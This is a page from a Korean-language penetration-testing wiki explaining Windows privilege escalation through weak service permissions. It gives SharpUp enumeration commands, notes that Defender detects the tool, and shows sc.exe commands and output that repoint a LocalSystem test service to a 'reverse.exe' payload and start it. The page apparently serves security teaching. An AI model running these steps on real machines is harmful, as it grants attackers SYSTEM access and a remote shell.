펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Windows

Weak Service Permissions

PreviousUnquoted Service PathNextWeak Service Binary Permissions

Last updated 1 month ago

Was this helpful?

장악한 머신에서 서비스가 실행될 때, 서비스의 바이너리 경로를 변조할 권한이 있다면 서비스가 실행될 때 정상적인 프로세스가 아닌, 권한 상승을 가능케 하는 프로세스를 삽입할 수 있습니다.

실행 중인 서비스의 대부분은 바이너리 경로 변경 시 가용성에 침해를 입힐 수 있으므로 사용하지 않습니다.

SharpUp.exe는 취약한 서비스들을 탐색하는 여러 모듈을 지원하지만, 기본적으로 디펜더에 감지됩니다.

SharpUp을 사용하면 바이너리 경로를 변조할 수 있는 서비스 목록을 나열할 수 있습니다.

PS C:> .\SharpUp.exe audit ModifiableServices

=== SharpUp: Running Privilege Escalation Checks ===
...
        Service 'VulnServiceTest' (State: Stopped, StartMode: Manual)

나열된 서비스 중 VulnServiceTest의 경우 바이너리 경로를 변조할 수 있는 취약한 서비스입니다. 내장된 sc.exe를 사용하여 해당 서비스의 바이너리 경로를 변조 후, 실행하여 권한 상승을 합니다. 간혹 sc.exe config 기능에서 binPath에 대한 인자를 입력할 때 경로 앞에 공백을 줘야하는 경우도 있습니다.

# 변경 전 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공

SERVICE_NAME: VulnServiceTest
        종류               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\notepad.exe
        LOAD_ORDER_GROUP   :
        태그                : 0
        DISPLAY_NAME       : Vulnerable Test Service
        종속성       :
        SERVICE_START_NAME : LocalSystem

# 서비스 바이너리 변경
PS C:\> sc.exe config VulnServiceTest binPath="C:\Users\Mick3y\AppData\Local\Temp\reverse.exe"
[SC] ChangeServiceConfig 성공

# 변경 후 서비스 바이너리 경로 확인
PS C:\> sc.exe qc VulnServiceTest
[SC] QueryServiceConfig 성공

SERVICE_NAME: VulnServiceTest
        종류               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\Mick3y\AppData\Local\Temp\reverse.exe
        LOAD_ORDER_GROUP   :
        태그                : 0
        DISPLAY_NAME       : Vulnerable Test Service
        종속성       :
        SERVICE_START_NAME : LocalSystem
        
# 변경된 서비스 실행
PS C:\> sc.exe start VulnServiceTest
GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality.GitHub
Logo